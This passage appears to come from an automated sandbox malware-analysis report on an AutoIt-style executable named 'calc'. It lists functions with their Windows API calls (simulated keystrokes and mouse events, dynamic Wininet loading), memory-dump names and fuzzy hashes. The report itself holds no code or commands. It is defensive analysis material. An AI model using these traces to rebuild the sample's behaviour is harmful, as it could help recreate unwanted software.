      • SetKeyboardState.USER32(?,?,00000000), ref: 00411467
      • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00411493
      • PostMessageW.USER32(?,00000100,00000010,?), ref: 004114B2
      • PostMessageW.USER32(?,00000100,00000010,?), ref: 004114D1
      • PostMessageW.USER32(?,00000100,00000011,?), ref: 004114F0
      • PostMessageW.USER32(?,00000100,00000012,?), ref: 00411524
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessagePost$KeyboardState$Parent
      • String ID:
      • API String ID: 87235514-0
      • Opcode ID: e78c36a590626a1166a9156384a0d936dda4f0eeaa9d608877eeb85747e89315
      • Instruction ID: 0f22143f38cef481d98d1135c44dc31a521d86ced055d74272154e822a439295
      • Opcode Fuzzy Hash: e78c36a590626a1166a9156384a0d936dda4f0eeaa9d608877eeb85747e89315
      • Instruction Fuzzy Hash: 0D51397050035CBDEB224B788C84BFF7BB5EB40744F04046EE699961A2C6B89EC1DB28
      Function 00406535 Relevance: 12.1, APIs: 8, Instructions: 116COMMON
      Download Yara Rule
      APIs
      • GetSysColor.USER32(0000000F), ref: 00406559
      • GetSysColor.USER32(00000005), ref: 004065D7
      • GetSysColor.USER32(00000005), ref: 004065FB
      • GetPixel.GDI32(00000000,00000000,00000000), ref: 0040661D
      • SetTextColor.GDI32(?,?), ref: 0040663C
      • SetBkMode.GDI32(00000000,00000001), ref: 0040664F
      • GetStockObject.GDI32(00000005), ref: 00406657
      • SetBkColor.GDI32(?,00000000), ref: 00406664
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Color$ModeObjectPixelStockText
      • String ID:
      • API String ID: 3335329649-0
      • Opcode ID: f119085c45a49c7da0f7156818a14affc38ae8097efda252f98faf3e6f8f3136
      • Instruction ID: cffc45891000b0bcc1ff650ca7b895da0922e0ac8dd974e18ebca7e1b207af5a
      • Opcode Fuzzy Hash: f119085c45a49c7da0f7156818a14affc38ae8097efda252f98faf3e6f8f3136
      • Instruction Fuzzy Hash: FA41E830104355BBDB345F289C5876E3B959F05321F16053BF563612E6DB3ACC669B0A
      Function 00417905 Relevance: 12.0, APIs: 8, Instructions: 33COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClearVariant
      • String ID:
      • API String ID: 1473721057-0
      • Opcode ID: 7515e139fb4bb4e1bd99acf1861c07cc37c553c4cb4bd1ee9d3f4938d929fa9e
      • Instruction ID: fff72cd69ca82f6953f7f206462b4c09a392314aa2bc16a66ee90bf446161d79
      • Opcode Fuzzy Hash: 7515e139fb4bb4e1bd99acf1861c07cc37c553c4cb4bd1ee9d3f4938d929fa9e
      • Instruction Fuzzy Hash: 6DF0A9B6400B49AADB31E7B9DC48BC7B7EC6F85200F054D2AD696C3525DA78F189CB14
      Function 004092FB Relevance: 10.9, APIs: 7, Instructions: 428COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClearVariant
      • String ID:
      • API String ID: 1473721057-0
      • Opcode ID: 51004693d88b0729752c3e2e6fd21d15dec76c629f8c13dc28b7f9a39be731a4
      • Instruction ID: 01edab73392a80d4103d92ff6f361a6a440f26f9ffb4b8913aacefb8a2784695
      • Opcode Fuzzy Hash: 51004693d88b0729752c3e2e6fd21d15dec76c629f8c13dc28b7f9a39be731a4
      • Instruction Fuzzy Hash: F3021476900208EFCF119F94C8409EE7BB5EF49314F15816AFA18B73A2C339AD51DB99
      Function 0040C8FD Relevance: 10.7, APIs: 7, Instructions: 233COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0040CCF8: DeleteObject.GDI32(?), ref: 0040CD3D
        • Part of subcall function 0040CCF8: ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
        • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CD94
        • Part of subcall function 0040CCF8: BeginPath.GDI32(?), ref: 0040CDAE
        • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CDCD
      • MoveToEx.GDI32(?,?,?,00000000), ref: 0040C9B0
      • AngleArc.GDI32(00000008,?,?,00000000,?,?), ref: 0040C9FD
        • Part of subcall function 0040CF77: MoveToEx.GDI32(?,00000000,00000001,00000000), ref: 0040CFC3
        • Part of subcall function 0040CF77: _logf.LIBCPMT ref: 0040CFD6
        • Part of subcall function 0040CF77: _logf.LIBCPMT ref: 0040CFF4
        • Part of subcall function 0040CF77: LineTo.GDI32(?,?,00000001), ref: 0040D010
      • LineTo.GDI32(00000008,?,?), ref: 0040CA0F
      • CloseFigure.GDI32(00000008), ref: 0040CA18
      • Ellipse.GDI32(?,?,?,?,?), ref: 0040CA6A
      • Rectangle.GDI32(?,?,?,?,?), ref: 0040CB28
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Object$LineMoveSelect_logf$AngleBeginCloseCreateDeleteEllipseFigurePathRectangle
      • String ID:
      • API String ID: 2270488568-0
      • Opcode ID: 3e41277f35241731e5ecdc64cb86dd8e478581ef2b495140d12ab5893bf93d11
      • Instruction ID: b80d5d34312ecd98a02386c7250854dbc6076191505cc9a654b0a8d9ac695662
      • Opcode Fuzzy Hash: 3e41277f35241731e5ecdc64cb86dd8e478581ef2b495140d12ab5893bf93d11
      • Instruction Fuzzy Hash: 4B915C70900209EFDF11CFA8CC89AAEBBB5FF44314F14426AE815B62A1C739AD51DF58
      Function 00409A3B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON
      Download Yara Rule
      APIs
      • GetClientRect.USER32(?,?), ref: 00409A8D
      • GetWindowRect.USER32(?,?), ref: 00409ABC
      • GetClientRect.USER32(00000400,?), ref: 00409B03
      • GetWindowRect.USER32(?,?), ref: 00409B4D
      • ScreenToClient.USER32(00000400,?), ref: 00409B72
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Rect$Client$Window$Screen
      • String ID: `
      • API String ID: 1296646539-2679148245
      • Opcode ID: 979626e2387a37fc5672180711e3e3b7af98162ae0c42364082c39fbb8a1b67d
      • Instruction ID: 5c22e1647285930d546eea6ccc3219bc4b63db07404db36e62ebad6edb330b87
      • Opcode Fuzzy Hash: 979626e2387a37fc5672180711e3e3b7af98162ae0c42364082c39fbb8a1b67d
      • Instruction Fuzzy Hash: 23917E79A00649EBDB14CFA8C5846AEFBF1FF48304F14452AD992B37A1D734AE40CB58
      Function 004505A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON
      Download Yara Rule
      APIs
      • GetStartupInfoA.KERNEL32(?), ref: 00450603
      • GetFileType.KERNEL32(?), ref: 004506AD
      • GetStdHandle.KERNEL32(-000000F6), ref: 0045072E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FileHandleInfoStartupType
      • String ID: dH
      • API String ID: 2461013171-846699462
      • Opcode ID: 9a7947f9ad82b782c8fe595840faaf87bc5a92e1700e0f2174f3b348224a7055
      • Instruction ID: 571e7180ef913d33cbf7ce2b326ee305126e63e0fb4f845115fe28abbe455c90
      • Opcode Fuzzy Hash: 9a7947f9ad82b782c8fe595840faaf87bc5a92e1700e0f2174f3b348224a7055
      • Instruction Fuzzy Hash: D551E8791047418FC7248F28D8847267BE4FB55326F184A6ED9A6C72E3D738E85DCB09
      Function 0042B114 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FE9D: LoadLibraryA.KERNEL32(Wininet.dll,0042A74E), ref: 0042FEA8
        • Part of subcall function 0042FE9D: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 0042FEBA
      • FreeLibrary.KERNEL32(00000000,?,00000003), ref: 0042B198
      • FreeLibrary.KERNEL32(?,?,00000003), ref: 0042B2A5
      • FreeLibrary.KERNEL32(?,?,00000003), ref: 0042B2AF
      • FreeLibrary.KERNEL32(00000000,?,00000003), ref: 0042B2B9
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$Free$AddressLoadProc
      • String ID: <local>$#v
      • API String ID: 1386263645-3894610926
      • Opcode ID: 32da04e832618fddd7a87dad8587297ad2d2ab068d8d49f6a0b5dfce77d14965
      • Instruction ID: 88fc05d2817ab47fd5b179a8d744bb7f0cbe5fd8e9c3f9efe6eed6e79e075052
      • Opcode Fuzzy Hash: 32da04e832618fddd7a87dad8587297ad2d2ab068d8d49f6a0b5dfce77d14965
      • Instruction Fuzzy Hash: 9F517D31A00239EBDF25DBA4EC89EEEB778FF09740F904566E414A2250C7346A54CBE9
      Function 0042BE53 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 149COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042EFD5: GetForegroundWindow.USER32(?), ref: 0042EFDB
        • Part of subcall function 0042EFD5: GetWindowRect.USER32(00000000,?), ref: 0042EFED
      • GetDesktopWindow.USER32 ref: 0042BE7A
      • GetWindowRect.USER32(00000000), ref: 0042BE81
      • mouse_event.USER32(00008001,?,00000001,00000000,00000000), ref: 0042BEB5
        • Part of subcall function 00415F9F: Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
      • GetCursorPos.USER32(?), ref: 0042BEDD
      • mouse_event.USER32(00008001,?,0000000B,00000000,00000000), ref: 0042BF9E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
      • String ID: d
      • API String ID: 4137160315-2564639436
      • Opcode ID: a7507ff59d1f84e5e95a0c053b09d558c46e193066ca54b7beac4dc000bdcc94
      • Instruction ID: 1eca856535500a1089d069f95856a78e939d7b0643273a579d4f7235f62430b1
      • Opcode Fuzzy Hash: a7507ff59d1f84e5e95a0c053b09d558c46e193066ca54b7beac4dc000bdcc94
      • Instruction Fuzzy Hash: 004117727007269BDF208FA9AD84BAE73A5EB44304F52853BF914D7281D778DC818BD8
      Function 0040BD45 Relevance: 10.6, APIs: 7, Instructions: 144windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040BDCA
      • SendMessageW.USER32(?,0000104D,00000000,00000005), ref: 0040BE1A
      • SendMessageW.USER32(?,00001008,00000001,?), ref: 0040BEF5
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID:
      • API String ID: 3850602802-0
      • Opcode ID: e9270b8b6bc2db239543e4602c2bc6c82faa1196c29a7e750817dcbcaf1047de
      • Instruction ID: c9dee8523dbd2f001bbba7f2df5488a07f0ddf073e31d2c7163cdd95c91364d6
      • Opcode Fuzzy Hash: e9270b8b6bc2db239543e4602c2bc6c82faa1196c29a7e750817dcbcaf1047de
      • Instruction Fuzzy Hash: EA514B71900218AFDF11DF94CD41BEE7BB5EF09314F1041A6EA10BB2A1D774AA45DB98
      Function 00420ACC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 133COMMON
      Download Yara Rule
      APIs
      • CharUpperBuffW.USER32(00000000,?,@GUI_CTRLID,?,00479E08,?,?,0042018E,?,00479E08,00479E08,00479E08), ref: 00420B68
      • CharUpperBuffW.USER32(004203AA,00479E08,@GUI_WINHANDLE,?,0047BD20,00000000,?), ref: 00420BA5
      • CharUpperBuffW.USER32(?,?,@GUI_CTRLHANDLE,?,0047BD20,004203AA,?), ref: 00420BE2
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BuffCharUpper
      • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
      • API String ID: 3964851224-758534266
      • Opcode ID: dcddbf6780367992d8c96736425c50bb8195540fba5c9a78a0d50570f2b70651
      • Instruction ID: 0670a5c02a3ad987be2aa7fb96b886d40dde11566c37022459f53628aa54ba14
      • Opcode Fuzzy Hash: dcddbf6780367992d8c96736425c50bb8195540fba5c9a78a0d50570f2b70651
      • Instruction Fuzzy Hash: 8941B67194012CABCF21EBA6DD45AEE7BB9EF04304F24016BF805B7122CB796D46DB64
      Function 00409F29 Relevance: 10.6, APIs: 7, Instructions: 126windowCOMMON
      Download Yara Rule
      APIs
      • ShowWindow.USER32(?,00000000), ref: 00409FCA
      • ShowWindow.USER32(?,00000005,?,00000000), ref: 00409FD0
      • SetFocus.USER32(?,?,00000000), ref: 00409FDC
      • SendMessageW.USER32(?,00002001,00000000,?), ref: 00409FF9
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ShowWindow$FocusMessageSend
      • String ID:
      • API String ID: 3348785246-0
      • Opcode ID: 2912cf3291633da9375a316781e2fed9097f96e5693141c9d4bec574df01d53a
      • Instruction ID: 1f5e4ee820ca1ad8d5727451a42756ae35113e362d004ced1041d4ab6605815b
      • Opcode Fuzzy Hash: 2912cf3291633da9375a316781e2fed9097f96e5693141c9d4bec574df01d53a
      • Instruction Fuzzy Hash: A641D73140030CBBDF319F24CC89E6E7BA4AB45351F24453BFA42FA2E1D679ED519A4A
      Function 0040BBDB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0040BC75
      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 0040BC8B
      • SendMessageW.USER32(?,00001057,00000000,?), ref: 0040BCE9
      • SendMessageW.USER32(?,00001061,00000000,0000000F), ref: 0040BD1B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$Window
      • String ID: -----$SysListView32
      • API String ID: 2326795674-3975388722
      • Opcode ID: 1c9563f93ac8fc5db84832b05a3869965d429622ca7a67e34f73cff828012fcc
      • Instruction ID: ec6a700272040e40e92a54c56fa040193a127b838e178095dd06ae8a84f88c0f
      • Opcode Fuzzy Hash: 1c9563f93ac8fc5db84832b05a3869965d429622ca7a67e34f73cff828012fcc
      • Instruction Fuzzy Hash: 86415871800209EBDF219F68C845ADE7BB9EB19358F01016BF948B6292C779D944CF98
      Function 0040B7B2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 0040B82D
      • IsMenu.USER32(?), ref: 0040B840
      • CreatePopupMenu.USER32 ref: 0040B84A
      • InsertMenuItemW.USER32(?,?,00000001,0000002C), ref: 0040B880
      • DrawMenuBar.USER32(?), ref: 0040B888
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$Item$CreateDrawInfoInsertPopup
      • String ID: ,
      • API String ID: 2727366139-3772416878
      • Opcode ID: 5bda6680cf02f1709b1c8040744c8a64ce94f6e4f8689a38d774f8be7eb7a155
      • Instruction ID: 73ffb52debe41e485c73ce9743448b5bc55771eeef5cff0f8f225e8659b42da2
      • Opcode Fuzzy Hash: 5bda6680cf02f1709b1c8040744c8a64ce94f6e4f8689a38d774f8be7eb7a155
      • Instruction Fuzzy Hash: DF318C76900208EFDF10DF54D984ADABBB9FF48304F10816AE911AB3A1D735ED05DB98
      Function 0040B225 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 0040B28B
      • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0040B29A
